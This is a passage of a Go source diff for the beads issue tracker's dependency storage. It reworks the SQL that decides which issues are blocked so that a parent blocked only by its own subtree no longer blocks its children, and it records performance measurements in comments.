pure overhead — and that overhead is not small: the read is a ten-join walk +// under two CTEs, which dolt spends ~8 ms planning whether it returns rows or +// not. Most batches name no wisp parent at all, and a batch of roots (or of +// rows with no hierarchy) names neither. Measured at 1000 issues / 2870 deps, +// per pass: a 2-id batch of unparented rows 37 ms with both reads run blind +// against 20 ms with this guard, which is origin/main's own number. +// +// One indexed aggregate, both columns at once, because COUNT ignores NULLs and +// a parent-child row carries exactly one of the two. +// +//nolint:gosec // G201: depTable is a constant from the caller; scope carries only ? placeholders. +func batchParentKindsInTx( + ctx context.Context, tx DBTX, depTable, scope string, args []any, +) (bool, bool, error) { + query := fmt.Sprintf(` + SELECT COUNT(d.depends_on_issue_id), COUNT(d.depends_on_wisp_id) + FROM %[1]s d + WHERE d.issue_id IS NOT NULL %[2]s + AND d.type = 'parent-child' + `, depTable, scope) + rows, err := tx.QueryContext(ctx, query, args...) + if err != nil { + return false, false, err + } + defer func() { _ = rows.Close() }() + var issueParents, wispParents int64 + if rows.Next() { + if err := rows.Scan(&issueParents, &wispParents); err != nil { + return false, false, fmt.Errorf("scan batch parent kinds: %w", err) + } + } + if err := rows.Err(); err != nil { + return false, false, err + } + return issueParents > 0, wispParents > 0, nil +} + +// candSource names one dependency table the candidate-parent set is read from, +// with the batch scope that confines it there (empty for the unbatched reads). +type candSource struct { + depTable string + scope string +} + +// unbatchedCandSources is every table a parent-child edge can live in. The +// batched templates pass their own single scoped source instead. +func unbatchedCandSources() []candSource { + return []candSource{{depTable: "dependencies"}, {depTable: "wisp_dependencies"}} +} + +func queryIDs(ctx context.Context, tx DBTX, query string, args ...any) ([]string, error) { + rows, err := tx.QueryContext(ctx, query, args...) + if err != nil { + return nil, err + } + defer func() { _ = rows.Close() }() + var out []string + for rows.Next() { + var id string + if err := rows.Scan(&id); err != nil { + return nil, err + } + out = append(out, id) + } + return out, rows.Err() +} + +// shouldBeBlockedIDsUnionPrecomputedSQL is the union for the UNBATCHED +// statements: no batch scope, and the two parent-child legs subtract an +// already-read id list instead of re-deriving it (see +// subtreeExplainedParents). The caller binds explained.args() once per splice. +// +//nolint:gosec // G201: depTable is constant; the exclusions are ? placeholders. +func shouldBeBlockedIDsUnionPrecomputedSQL(depTable string, explained subtreeExplainedParents) string { + return shouldBeBlockedIDsUnionCoreSQL(depTable, "", + notInPlaceholders(len(explained.issueParents)), + notInPlaceholders(len(explained.wispParents))) +} + +// shouldBeBlockedIDsUnionScopedPrecomputedSQL selects, UNCORRELATED with any +// outer row, every depTable issue_id that currently has a reason to be +// blocked: one UNION leg per reason — an open blocks/conditional-blocks target +// (issue or wisp), an EXOGENOUSLY blocked parent-child parent (issue or wisp; +// see parentsExplainedBySubtreeSQL), a blocking waits-for gate. // Semantically, `.id IN (this select)` ≡ the disjunction of those // reasons correlated on d.issue_id = .id, which is what the batched // mark/unmark templates in blocked_state.go once spelled out as five // correlated EXISTS — but the engine evaluates this form once as hash // lookups instead of per outer row (bd-t9ypt). Full repair, doctor count and -// the batched templates (scoped, see below) now share this one definition. +// the batched templates share the one core below. // -//nolint:gosec // G201: depTable is constant; waitsForGateBlockedSQL is a constant template. -func shouldBeBlockedIDsUnionSQL(depTable string) string { - return shouldBeBlockedIDsUnionScopedSQL(depTable, "") -} - -// shouldBeBlockedIDsUnionScopedSQL is shouldBeBlockedIDsUnionSQL with an +// It carries an // extra predicate on the dependency row appended to every leg's WHERE — "" for // the whole table (full repair, doctor count), batchScopeSQL for the batched // mark/unmark templates in blocked_state.go, which confine each leg to // d.issue_id IN (batch) so the union stays index-sized per statement. scope is // spliced verbatim: a %s inside it survives this Sprintf for the batch runner. // +// Like the unbatched form above, and unlike the shape this round replaced, the +// two parent-child legs SUBTRACT AN ALREADY-READ id list rather than the query +// that derives it: the batch runner reads the set once per batch +// (scopedExplainedParentsInTx) and binds it into both statements. The caller +// binds explained.args() once per splice, interleaved with the batch ids in +// text order — expandBatchTemplate does that bookkeeping. +// // The waits-for leg wraps its dependency rows in a DISTINCT derived table // BEFORE the gate predicate (waitsForGateBlockedSQL, six correlated EXISTS // over the parent-child children and the spawner) is applied, so the engine @@ -418,36 +928,53 @@ func shouldBeBlockedIDsUnionSQL(depTable string) string { // (embedded) pins the hinted plans. // //nolint:gosec // G201: depTable and scope are constants; waitsForGateBlockedSQL is a constant template. -func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { +func shouldBeBlockedIDsUnionScopedPrecomputedSQL( + depTable, scope string, explained subtreeExplainedParents, +) string { + return shouldBeBlockedIDsUnionCoreSQL(depTable, scope, + notInPlaceholders(len(explained.issueParents)), + notInPlaceholders(len(explained.wispParents))) +} + +// shouldBeBlockedIDsUnionCoreSQL is the five legs themselves. The two +// parent-child legs take their exogeneity condition as text: both callers +// pass an already-read IN-list rendered to placeholders (notInPlaceholders), +// saying "unless this parent is explained by its own subtree", and the empty +// string says "no parent is", which is what an empty set means. +// +//nolint:gosec // G201: depTable and scope are constants; the conditions come from the two callers above. +func shouldBeBlockedIDsUnionCoreSQL(depTable, scope, issueParentCond, wispParentCond string) string { targetHint, parentHint := "", "" if scope != "" { targetHint = "/*+ JOIN_ORDER(d, t) LOOKUP_JOIN(d, t) */ " parentHint = "/*+ JOIN_ORDER(d, p) LOOKUP_JOIN(d, p) */ " } return fmt.Sprintf(` - SELECT %[4]sd.issue_id FROM %[1]s d + SELECT %[6]sd.issue_id FROM %[1]s d JOIN issues t ON t.id = d.depends_on_issue_id WHERE d.issue_id IS NOT NULL %[3]s AND (d.type = 'blocks' OR d.type = 'conditional-blocks') AND t.status <> 'closed' AND t.status <> 'pinned' UNION - SELECT %[4]sd.issue_id FROM %[1]s d + SELECT %[6]sd.issue_id FROM %[1]s d JOIN wisps t ON t.id = d.depends_on_wisp_id WHERE d.issue_id IS NOT NULL %[3]s AND (d.type = 'blocks' OR d.type = 'conditional-blocks') AND t.status <> 'closed' AND t.status <> 'pinned' UNION - SELECT %[5]sd.issue_id FROM %[1]s d + SELECT %[7]sd.issue_id FROM %[1]s d JOIN issues p ON p.id = d.depends_on_issue_id WHERE d.issue_id IS NOT NULL %[3]s AND d.type = 'parent-child' AND p.is_blocked = 1 + %[4]s UNION - SELECT %[5]sd.issue_id FROM %[1]s d + SELECT %[7]sd.issue_id FROM %[1]s d JOIN wisps p ON p.id = d.depends_on_wisp_id WHERE d.issue_id IS NOT NULL %[3]s AND d.type = 'parent-child' AND p.is_blocked = 1 + %[5]s UNION SELECT d.issue_id FROM ( SELECT DISTINCT d.issue_id, d.depends_on_issue_id, d.depends_on_wisp_id, d.metadata @@ -456,7 +983,236 @@ func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { AND d.type = 'waits-for' ) d WHERE (%[2]s) - `, depTable, waitsForGateBlockedSQL, scope, targetHint, parentHint) + `, depTable, waitsForGateBlockedSQL, scope, issueParentCond, wispParentCond, targetHint, parentHint) +} + +// subtreeWalkDepth is how far parentsExplainedBySubtreeSQL walks up from a +// blocking reason's target looking for the parent that holds the reason — the +// depth to which "inside my own subtree" is decided. +// +// The walk is spelled as this many pairs of LEFT JOINs rather than as WITH +// RECURSIVE, and that is a measured choice, not a portability one (dolt runs +// recursive CTEs elsewhere in this package). At 1000 issues / 2870 deps the +// seeded recursive walk cost 45 ms per evaluation against 6 ms for four levels +// of joins: a recursive CTE pays a whole query's overhead per ITERATION, so +// its cost tracks hierarchy depth even when it returns a hundred rows. A fixed +// join chain pays once, and each level is an index probe. +// +// The price is a horizon. A reason target more than this many parent-child +// edges below its blocker reads as exogenous, which is the pre-#6506 behavior +// for that one pair: it propagates MORE, never less, so nothing is hidden that +// the old code showed, and the permanent lock this fix removes needs the +// blocker and the target in the SAME subtree within the horizon. Four covers +// epic -> sub-epic -> leg -> task, which is deeper than any dotted-id +// hierarchy this store has carried, and it is the knob to turn first if a +// real store is ever found below it. +// +// BOTH SIDES OF THE HORIZON ARE PINNED, by a pair of dolt tests that differ by +// one edge: TestParentChildCascade_ReasonAtTheWalkHorizon (a reason exactly +// this many levels down; the subtree comes bright) and +// _ReasonPastTheWalkHorizon (one level further; the subtree stays dark, which +// is origin/main's own answer, so that test passes unchanged on origin/main). +// Raising this constant makes the second one fail and name the rows that +// changed. Measured cost of raising it, at 1000 issues / 2870 deps: see the +// commit that introduced the pin. +const subtreeWalkDepth = 4 + +// parentsExplainedBySubtreeSQL is the parent-child legs' exogeneity test +// (gastownhall/beads#6506): the set of blocked parents whose blockedness is +// SOLELY explained by their own subtree, which the legs subtract with +// `p.id NOT IN (...)`. It decides once per statement, uncorrelated with any +// outer row, which blocked parents may not darken their children. +// +// The bug it closes: the legs used to cascade on p.is_blocked = 1 alone, +// WHATEVER set that bit. A parent that is blocked only by its own children — +// the "close gate on the epic" idiom, where P carries blocks edges onto C1 and +// C2 so P cannot close before them — therefore darkened C1 and C2, the very +// children it was waiting for. Neither child could ever appear in bd ready, so +// neither could be worked, so neither could close: a permanent lock. P's OWN +// is_blocked stays 1 (it really does depend on open children); only the +// propagation to its children changes. +// +// The contract: a parent-child edge propagates only EXOGENOUS blockedness. P +// counts as blocked FOR CHILD C iff P has a blocking reason — an open +// blocks/conditional-blocks target, or a blocking waits-for gate — whose +// target is OUTSIDE P'S OWN SUBTREE, or P's own parent-child parent is +// (recursively) exogenously blocked. +// +// SUBTREE, not direct children. A depth-1 reading of "own child" leaves the +// permanent lock alive one level down: P blocks on grandchild G, pc C -> P, +// pc G -> C. G is not P's direct child, so P reads exogenous, so P darkens C, +// so C darkens G — and G is the only row whose close can free P. The walk up +// the ancestor chain (subtreeWalkDepth) is what makes this a descendant test. +// +// SHAPE. The caller's condition is a subtraction: +// +// AND p.id NOT IN (this select, pruned by pruneExplainedByAncestryInTx) +// +// A parent cascades unless it appears here. A parent with NO blocking reason +// row of its own is absent from this set, because the set is built from reason +// rows, so it cascades. For such a parent that is the contract's recursive +// clause, carried by the EXISTING fixpoint and not by a second pass of SQL +// recursion: it is dark because ITS parent is, so its children inherit. +// Because the legs keep the p.is_blocked = 1 conjunct, a chain converges the +// way it always did, one level per fixpoint pass, and the single-pass doctor +// COUNT stays the documented lower bound. A parent that DOES carry a reason is +// dark whatever is above it, so the fixpoint cannot carry the clause for it: +// pruneExplainedByAncestryInTx drops it from the set when a blocked parent +// above it is not itself explained. +// +// Every reason row is either inside the parent's subtree or outside it, so +// "no reason row is exogenous" (MAX(...) = 0 below) is the whole membership +// test; the two bits the shape started with collapse to one. +// +// COST (gastownhall/beads#6288, wy-pyrus4, and B2 of the #6506 review). Three +// earlier cuts were built and measured at 1000 issues / 2870 deps, and all +// three are in the rejected pile: +// +// - a per-row correlated EXISTS whose body held two more correlated EXISTS, +// the exact shape #6288 removed from the waits-for leg: 3.3-3.7x on the +// full repair, 5.2x on the doctor count (the review's own numbers); +// - the set as a derived table LEFT JOINed on p.id: ~30x. A join operand is +// a join operand — dolt planned it as the inner side of a nested loop and +// rebuilt it per outer row, the correlated shape again in a derived +// table's clothes; +// - the same set built with WITH RECURSIVE: it blew the driver read timeout +// on the full repair (see subtreeWalkDepth). +// +// What is left is uncorrelated by construction. Nothing below references the +// outer row — that is what lets the engine build the set once per statement +// and probe it, the form this file already relies on for +// `.id IN (the should-be-blocked union)` (bd-t9ypt) — and it is the +// property to preserve in any future edit here. Measured against a leg with +// no exogeneity test at all: 3 ms -> 18 ms per evaluation, flat in the number +// of parent-child rows the leg returns. +// +// The set is also confined to the statement's own work: +// +// - cand is the set of parents the caller can possibly ask about. A batched +// mark/unmark passes ONE source — its own dependency table, carrying its +// own batch scope (see scopedExplainedParentsInTx) — so it computes the +// handful of parents above the batch. The unbatched read passes both +// tables unscoped, which is every row that is a parent at all and already +// prunes most of the table. The alias must be d: batchScopeSQL is written +// against d.issue_id and is spliced verbatim. It binds to this subquery's +// own FROM, not an enclosing leg's d — the set is not lateral and +// correlates with nothing outside it. +// - rsn is those parents' blocking reason rows, and is where the reason +// predicate is paid: once per candidate parent row, not once per +// parent-child edge in the leg. +// +// blockingReasonSQL mirrors union legs 1, 2 and 5 row by row; keep the three +// in step or the "solely explained by its own subtree" reading silently +// drifts. +// +// parentTable/parentDepTable/parentCol describe the PARENT's kind (issues + +// dependencies, or wisps + wisp_dependencies); cands name the tables the +// parent-child edges are read from, which are the CHILDREN's. A parent-child +// edge lives in the child's table and names the parent in parentCol. +// +//nolint:gosec // G201: every argument is a constant from the two call sites; scope is batchScopeSQL. +func parentsExplainedBySubtreeSQL(parentTable, parentDepTable, parentCol string, cands []candSource) string { + var cand strings.Builder + for i, c := range cands { + if i > 0 { + cand.WriteString("\n\t\t UNION") + } + fmt.Fprintf(&cand, ` + SELECT DISTINCT d.%[1]s FROM %[2]s d + WHERE d.issue_id IS NOT NULL %[3]s + AND d.type = 'parent-child' + AND d.%[1]s IS NOT NULL`, parentCol, c.depTable, c.scope) + } + return parentsExplainedBySubtreeCoreSQL(parentTable, parentDepTable, cand.String()) +} + +// candByIDSQL is a cand body naming parents by id: placeholders is a rendered +// IN-list, for explainedAmongInTx. +// +//nolint:gosec // G201: parentTable is a constant; placeholders carries only ? placeholders. +func candByIDSQL(parentTable, placeholders string) string { + return fmt.Sprintf(` + SELECT c.id FROM %s c WHERE c.id IN (%s)`, parentTable, placeholders) +} + +// parentsExplainedBySubtreeCoreSQL is parentsExplainedBySubtreeSQL over a cand +// body the caller has already built: the parent-child rows of a batch or of the +// whole store (parentsExplainedBySubtreeSQL), or parents named by id +// (candByIDSQL). +// +//nolint:gosec // G201: parentTable and parentDepTable are constants; cand is built from constants and ? placeholders. +func parentsExplainedBySubtreeCoreSQL(parentTable, parentDepTable, cand string) string { + // The ancestor walk: one pair of indexed LEFT JOINs per level, on the + // dependency tables directly. Materializing the parent-child edges into a + // CTE first was measured at 6.6x on the batched write path — the whole + // edge set of the store, built per statement, to answer a question about a + // handful of rows. Joined straight onto idx_dependencies_issue it is a + // probe per level per reason row instead. + var joins, match strings.Builder + child := "r.tgt" + for i := 1; i <= subtreeWalkDepth; i++ { + ia, wa := fmt.Sprintf("i%d", i), fmt.Sprintf("w%d", i) + fmt.Fprintf(&joins, ` + LEFT JOIN dependencies %[1]s ON %[1]s.issue_id = %[3]s AND %[1]s.type = 'parent-child' + LEFT JOIN wisp_dependencies %[2]s ON %[2]s.issue_id = %[3]s AND %[2]s.type = 'parent-child'`, + ia, wa, child) + // The level's parent, whichever table and column carries it. A child + // has one parent-child edge, so at most one of these four is set. + parent := fmt.Sprintf( + "COALESCE(%[1]s.depends_on_issue_id, %[1]s.depends_on_wisp_id, %[2]s.depends_on_issue_id, %[2]s.depends_on_wisp_id)", + ia, wa) + if i > 1 { + match.WriteString(" OR ") + } + fmt.Fprintf(&match, "%s = r.pid", parent) + child = parent + } + + return fmt.Sprintf(` + WITH + cand(pid) AS (%[3]s + ), + rsn(pid, tgt) AS ( + SELECT pr.issue_id, COALESCE(pr.depends_on_issue_id, pr.depends_on_wisp_id) + FROM %[2]s pr + JOIN %[1]s pp ON pp.id = pr.issue_id + JOIN cand ON cand.pid = pr.issue_id + WHERE pp.is_blocked = 1 + AND pr.issue_id IS NOT NULL + AND (%[4]s) + ), + bits(pid, exogenous) AS ( + SELECT r.pid, MAX(CASE WHEN %[6]s THEN 0 ELSE 1 END) + FROM rsn r%[5]s + GROUP BY r.pid + ) + SELECT b.pid FROM bits b WHERE b.exogenous = 0 + `, parentTable, parentDepTable, cand, + blockingReasonSQL("pr"), joins.String(), match.String()) +} + +// blockingReasonSQL is the row-level spelling of "this dependency row is, +// right now, a reason for its own issue to be blocked" — union legs 1 and 2 +// (an open blocks/conditional-blocks target, issue or wisp) and leg 5 (a +// blocking waits-for gate), for a dependency row aliased rowAlias. +// +// It is a per-ROW predicate, but its one caller evaluates it in a set: inside +// parentsExplainedBySubtreeSQL's aggregate, over the reason rows of the parents +// that statement can be asked about, once. It is never applied per row of an +// enclosing leg — that is the correlated shape #6288 removed and B2 measured. +// +//nolint:gosec // G201: rowAlias is a constant; waitsForGateBlockedSQLFor rewrites a constant template. +func blockingReasonSQL(rowAlias string) string { + return fmt.Sprintf(` + ( ( (%[1]s.type = 'blocks' OR %[1]s.type = 'conditional-blocks') + AND ( EXISTS (SELECT 1 FROM issues bt + WHERE bt.id = %[1]s.depends_on_issue_id + AND bt.status <> 'closed' AND bt.status <> 'pinned') + OR EXISTS (SELECT 1 FROM wisps bt + WHERE bt.id = %[1]s.depends_on_wisp_id + AND bt.status <> 'closed' AND bt.status <> 'pinned') ) ) + OR ( %[1]s.type = 'waits-for' AND (%[2]s) ) ) + `, rowAlias, waitsForGateBlockedSQLFor(rowAlias)) } // CountIsBlockedInconsistenciesInTx reports how many issue and wisp rows carry a @@ -464,7 +1220,7 @@ func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { // detection behind the bd doctor "Blocked State" check (bd-6dnrw.37); the // repair is RecomputeAllIsBlockedInTx. // -// Both derive their membership test from the one shouldBeBlockedIDsUnionSQL +// Both derive their membership test from the one union // builder above, and they are pinned together by the blocked-consistency // lockstep test: a converged database counts 0, and any row this counts is one // a recompute pass changes. The count is a single-pass lower bound — a @@ -474,13 +1230,20 @@ func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { func CountIsBlockedInconsistenciesInTx(ctx context.Context, tx DBTX) (int64, error) { var total int64 - n, err := countRows(ctx, tx, countStaleIsBlockedSQL("issues", "i", "dependencies")) + // One exogeneity read for both statements; each splices the union twice, + // so the ids are bound twice per statement. + explained, err := subtreeExplainedParentsInTx(ctx, tx) + if err != nil { + return 0, fmt.Errorf("count stale is_blocked issues: %w", err) + } + args := append(explained.args(), explained.args()...) + n, err := countRows(ctx, tx, countStaleIsBlockedSQL("issues", "i", "dependencies", explained), args...) if err != nil { return 0, fmt.Errorf("count stale is_blocked issues: %w", err) } total += n - n, err = countRows(ctx, tx, countStaleIsBlockedSQL("wisps", "w", "wisp_dependencies")) + n, err = countRows(ctx, tx, countStaleIsBlockedSQL("wisps", "w", "wisp_dependencies", explained), args...) if err != nil { if isTableNotExistError(err) { return total, nil @@ -502,14 +1265,14 @@ func CountIsBlockedInconsistenciesInTx(ctx context.Context, tx DBTX) (int64, err // set-membership form of De Morgan over the shouldBeBlocked disjunction). // // is_blocked is 0 or 1, so the branches are mutually exclusive and the count is -// their sum. Built on the uncorrelated shouldBeBlockedIDsUnionSQL for the same +// their sum. Built on the uncorrelated union for the same // reason as the full repair (bd-t9ypt): the correlated disjunction form ran per // outer row and cost whole-table scans per branch. table/alias/depTable are // hardcoded constants supplied by the only two callers. // //nolint:gosec // G201: table, alias, and depTable are constant; only the constant gate SQL is interpolated. -func countStaleIsBlockedSQL(table, alias, depTable string) string { - union := shouldBeBlockedIDsUnionSQL(depTable) +func countStaleIsBlockedSQL(table, alias, depTable string, explained subtreeExplainedParents) string { + union := shouldBeBlockedIDsUnionPrecomputedSQL(depTable, explained) return fmt.Sprintf(` SELECT COUNT(*) FROM %[1]s %[2]s WHERE @@ -524,8 +1287,8 @@ func countStaleIsBlockedSQL(table, alias, depTable string) string { } // countRows runs a single COUNT(*) query and returns the scalar. -func countRows(ctx context.Context, tx DBTX, query string) (int64, error) { - rows, err := tx.QueryContext(ctx, query) +func countRows(ctx context.Context, tx DBTX, query string, args ...any) (int64, error) { + rows, err := tx.QueryContext(ctx, query, args...) if err != nil { return 0, err } diff --git a/internal/storage/issueops/blocked_state.go b/internal/storage/issueops/blocked_state.go index 59c52ad49..66997bf2e 100644 --- a/internal/storage/issueops/blocked_state.go +++ b/internal/storage/issueops/blocked_state.go @@ -4,7 +4,7 @@ import ( "context" "database/sql" "fmt" - "strings" + "regexp" "github.com/steveyegge/beads/internal/types" ) @@ -129,6 +129,25 @@ const waitsForGateBlockedSQL = ` ) ` +// waitsForGateRowAliasRE matches the dependency-row alias references in +// waitsForGateBlockedSQL — `d.` at a word boundary, which never matches the +// gate's own inner `cd.` rows (no boundary between c and d). +var waitsForGateRowAliasRE = regexp.MustCompile(`\bd\.`) + +// waitsForGateBlockedSQLFor returns waitsForGateBlockedSQL with its +// dependency-row alias rewritten from d to alias, for callers that evaluate +// the gate somewhere the row cannot be called d — blockingReasonSQL applies it +// to a parent's own dependency rows inside a union leg whose outer row is +// already d (gastownhall/beads#6506). Rewriting beats shadowing: an inner d +// would resolve correctly by scope rules but reads as a bug at every later +// glance. +func waitsForGateBlockedSQLFor(alias string) string { + if alias == "d" { + return waitsForGateBlockedSQL + } + return waitsForGateRowAliasRE.ReplaceAllString(waitsForGateBlockedSQL, alias+".") +} + // RecomputeIsBlockedResult reports which issue tables had rows changed while // the blocked-state fixpoint converged. type RecomputeIsBlockedResult struct { @@ -166,27 +185,25 @@ func recomputeIsBlockedInTxWithResult( if err != nil { return result, err } - issuePlan, err := planRecomputeInTx(ctx, tx, "issues", "dependencies", - markBlockedTemplateForIssues(), unmarkBlockedTemplateForIssues(), issueIDs, splitEdgeless) + issuePlan, err := planRecomputeInTx(ctx, tx, issuesBlockedSpec, issueIDs, splitEdgeless) if err != nil { return result, err } - wispPlan, err := planRecomputeInTx(ctx, tx, "wisps", "wisp_dependencies", - markBlockedTemplateForWisps(), unmarkBlockedTemplateForWisps(), wispIDs, splitEdgeless) + wispPlan, err := planRecomputeInTx(ctx, tx, wispsBlockedSpec, wispIDs, splitEdgeless) if err != nil { return result, err } for pass := 0; ; pass++ { var changed int64 - n, err := issuePlan.runPassInTx(ctx, tx, pass == 0) + n, err := runRecomputePassInTx(ctx, tx, issuePlan, pass == 0) if err != nil { return result, err } changed += n result.IssueRowsChanged = result.IssueRowsChanged || n > 0 - n, err = wispPlan.runPassInTx(ctx, tx, pass == 0) + n, err = runRecomputePassInTx(ctx, tx, wispPlan, pass == 0) if err != nil { return result, err } @@ -240,7 +257,7 @@ func markIsBlockedPassForIssuesInTx(ctx context.Context, tx DBTX, ids []string) if len(ids) == 0 { return 0, nil } - return runMarkBatchedInTx(ctx, tx, markBlockedTemplateForIssues(), ids) + return runMarkBatchedInTx(ctx, tx, issuesBlockedSpec, ids) } // The mark/unmark templates explicitly assign updated_at to itself: @@ -251,38 +268,60 @@ func markIsBlockedPassForIssuesInTx(ctx context.Context, tx DBTX, ids []string) // makes stale-guard/conflict-guard consumers treat the row as user-edited. // An explicit assignment suppresses the ON UPDATE clause. // -// Both templates decide membership through shouldBeBlockedIDsUnionScopedSQL, -// the same uncorrelated union the full repair and the doctor count use -// (blocked_consistency.go), scoped to the batch: one derived blocked set per -// batch, computed once and probed by hash. The previous shape — five -// correlated EXISTS per outer row — was re-executed per row by the engine: -// ~4 s per 200-id batch on committed, indexed data, and unbounded (>69 min -// observed on dolt 2.1.8) over a large uncommitted working set, where every -// probe re-read the uncommitted overlay (gastownhall/beads#6288). +// Both templates decide membership through +// shouldBeBlockedIDsUnionScopedPrecomputedSQL, the same uncorrelated union the +// full repair and the doctor count use (blocked_consistency.go), scoped to the +// batch: one derived blocked set per batch, computed once and probed by hash. +// The previous shape — five correlated EXISTS per outer row — was re-executed +// per row by the engine: ~4 s per 200-id batch on committed, indexed data, and +// unbounded (>69 min observed on dolt 2.1.8) over a large uncommitted working +// set, where every probe re-read the uncommitted overlay +// (gastownhall/beads#6288). +// +// The parent-child legs' exogeneity set (gastownhall/beads#6506) is READ once +// per batch and BOUND into both statements as ids, never spliced as the query +// that derives it: spliced, a 200-id recompute paid for the derivation four +// times and measured 6.9x origin/main (scopedExplainedParentsInTx has the +// numbers). Which is why the templates are built per batch rather than once: +// the number of bound ids is a property of the batch. // // The batch IN-list therefore appears more than once per statement — the -// outer row filter plus one per union leg; expandBatchTemplate repeats the -// placeholders and the bound ids to match. +// outer row filter and one per union leg (six occurrences today) — and the +// exogeneity ids appear as already-rendered ? placeholders inside two of those +// legs. expandBatchTemplate binds both groups in TEXT order. // batchScopeSQL is the per-leg predicate that confines the should-be-blocked -// union to the batch (see shouldBeBlockedIDsUnionScopedSQL); its %s is filled -// with the batch placeholders by expandBatchTemplate, never by fmt here. +// union to the batch (see shouldBeBlockedIDsUnionScopedPrecomputedSQL); its %s +// is filled with the batch placeholders by expandBatchTemplate, and by fmt +// here ONLY for the batch-scoped exogeneity read, which binds its own ids. const batchScopeSQL = "AND d.issue_id IN (%s)" -func markBlockedTemplateForIssues() string { - return markBlockedTemplate("issues", "i", "dependencies") +// blockedTableSpec names the one table a batched mark/unmark pass runs over. +// The batched statements are now built per batch (the exogeneity ids are), so +// the runner takes the table rather than a finished template. +type blockedTableSpec struct { + table, alias, depTable string } -func unmarkBlockedTemplateForIssues() string { - return unmarkBlockedTemplate("issues", "i", "dependencies") +var ( + issuesBlockedSpec = blockedTableSpec{table: "issues", alias: "i", depTable: "dependencies"} + wispsBlockedSpec = blockedTableSpec{table: "wisps", alias: "w", depTable: "wisp_dependencies"} +) + +func markBlockedTemplateForIssues(explained subtreeExplainedParents) string { + return markBlockedTemplate(issuesBlockedSpec, explained) } -func markBlockedTemplateForWisps() string { - return markBlockedTemplate("wisps", "w", "wisp_dependencies") +func unmarkBlockedTemplateForIssues(explained subtreeExplainedParents) string { + return unmarkBlockedTemplate(issuesBlockedSpec, explained) } -func unmarkBlockedTemplateForWisps() string { - return unmarkBlockedTemplate("wisps", "w", "wisp_dependencies") +func markBlockedTemplateForWisps(explained subtreeExplainedParents) string { + return markBlockedTemplate(wispsBlockedSpec, explained) +} + +func unmarkBlockedTemplateForWisps(explained subtreeExplainedParents) string { + return unmarkBlockedTemplate(wispsBlockedSpec, explained) } // markBlockedTemplate is the batched mark statement for one table: the @@ -290,64 +329,106 @@ func unmarkBlockedTemplateForWisps() string { // batch's own dependency rows, so `.id IN (union)` is exactly the // old correlated disjunction for every id in the batch. // -//nolint:gosec // G201: table, alias, and depTable are constants from the four callers above. -func markBlockedTemplate(table, alias, depTable string) string { +//nolint:gosec // G201: the spec's fields are constants from the four callers above. +func markBlockedTemplate(spec blockedTableSpec, explained subtreeExplainedParents) string { return fmt.Sprintf(` UPDATE %[1]s %[2]s SET %[2]s.is_blocked = 1, %[2]s.updated_at = %[2]s.updated_at WHERE %[2]s.id IN (%%s) AND %[2]s.is_blocked = 0 AND %[2]s.status <> 'closed' AND %[2]s.status <> 'pinned' AND %[2]s.id IN (%[3]s) - `, table, alias, shouldBeBlockedIDsUnionScopedSQL(depTable, batchScopeSQL)) + `, spec.table, spec.alias, + shouldBeBlockedIDsUnionScopedPrecomputedSQL(spec.depTable, batchScopeSQL, explained)) } // unmarkBlockedTemplate is the batched unmark statement for one table: the // batch-scoped analog of unmarkAllBlockedSQL. NOT IN is null-hostile; the // union's d.issue_id IS NOT NULL guards keep it total. // -//nolint:gosec // G201: table, alias, and depTable are constants from the four callers above. -func unmarkBlockedTemplate(table, alias, depTable string) string { +//nolint:gosec // G201: the spec's fields are constants from the four callers above. +func unmarkBlockedTemplate(spec blockedTableSpec, explained subtreeExplainedParents) string { return fmt.Sprintf(` UPDATE %[1]s %[2]s SET %[2]s.is_blocked = 0, %[2]s.updated_at = %[2]s.updated_at WHERE %[2]s.id IN (%%s) AND %[2]s.is_blocked = 1 AND ( %[2]s.status = 'closed' OR %[2]s.status = 'pinned' OR %[2]s.id NOT IN (%[3]s) ) - `, table, alias, shouldBeBlockedIDsUnionScopedSQL(depTable, batchScopeSQL)) + `, spec.table, spec.alias, + shouldBeBlockedIDsUnionScopedPrecomputedSQL(spec.depTable, batchScopeSQL, explained)) } -// expandBatchTemplate fills every %s in a batched template with the same -// IN-list placeholders and repeats the bound ids once per occurrence, in -// order. Templates carry the batch list in the outer row filter and in each -// leg of the scoped union (six occurrences today); a template with a single -// %s degrades to the plain Sprintf it always was. The count is textual, so a -// template must contain no other percent sign (no LIKE 'x%' pattern, no %%) -// and at least one %s — a template with none is a programmer error that -// surfaces as an %!(EXTRA …) syntax error at exec. +// expandBatchTemplate finishes a batched template: every %s takes the batch's +// IN-list placeholders, and the args come out in the order the finished +// statement reads them — the batch ids once per %s, and the already-rendered +// ? placeholders the template carries (the two parent-child legs' exogeneity +// ids, see notInPlaceholders) interleaved where they actually appear. +// +// TEXT ORDER is the whole contract, and it is why this walks the template +// instead of counting: the batch scope and the exogeneity ids alternate inside +// the union (leg 3's scope, leg 3's NOT IN, leg 4's scope, leg 4's NOT IN), so +// no amount of counting says where a bound group goes. A template with one %s +// and no ? degrades to the plain Sprintf it always was. +// +// The count is textual, so a template must contain no percent sign that is not +// one of the %s verbs (no LIKE 'x%' pattern, no %%) and no ? of its own beyond +// the bound group — both pinned by blocked_state_template_test.go. A mismatch +// between the ? count and the bound ids is a programmer error and is returned +// as one rather than sent to the engine, where it would surface as an opaque +// argument-count error. // //nolint:gosec // G201: tmpl is a constant template; only IN-clause placeholders are formatted in. -func expandBatchTemplate(tmpl, placeholders string, args []interface{}) (string, []interface{}) { - n := strings.Count(tmpl, "%s") - if n <= 1 { - return fmt.Sprintf(tmpl, placeholders), args +func expandBatchTemplate( + tmpl, placeholders string, args, bound []interface{}, +) (string, []interface{}, error) { + var fills []interface{} + out := make([]interface{}, 0, len(args)+len(bound)) + next := 0 + for i := 0; i < len(tmpl); i++ { + switch { + case tmpl[i] == '%' && i+1 < len(tmpl) && tmpl[i+1] == 's': + fills = append(fills, placeholders) + out = append(out, args...) + i++ + case tmpl[i] == '?': + if next < len(bound) { + out = append(out, bound[next]) + } + next++ + } } - fills := make([]interface{}, n) - expanded := make([]interface{}, 0, n*len(args)) - for k := range fills { - fills[k] = placeholders - expanded = append(expanded, args...) + if next != len(bound) { + return "", nil, fmt.Errorf( + "batched template carries %d ? placeholders, want %d bound ids", next, len(bound)) } - return fmt.Sprintf(tmpl, fills...), expanded + return fmt.Sprintf(tmpl, fills...), out, nil } func 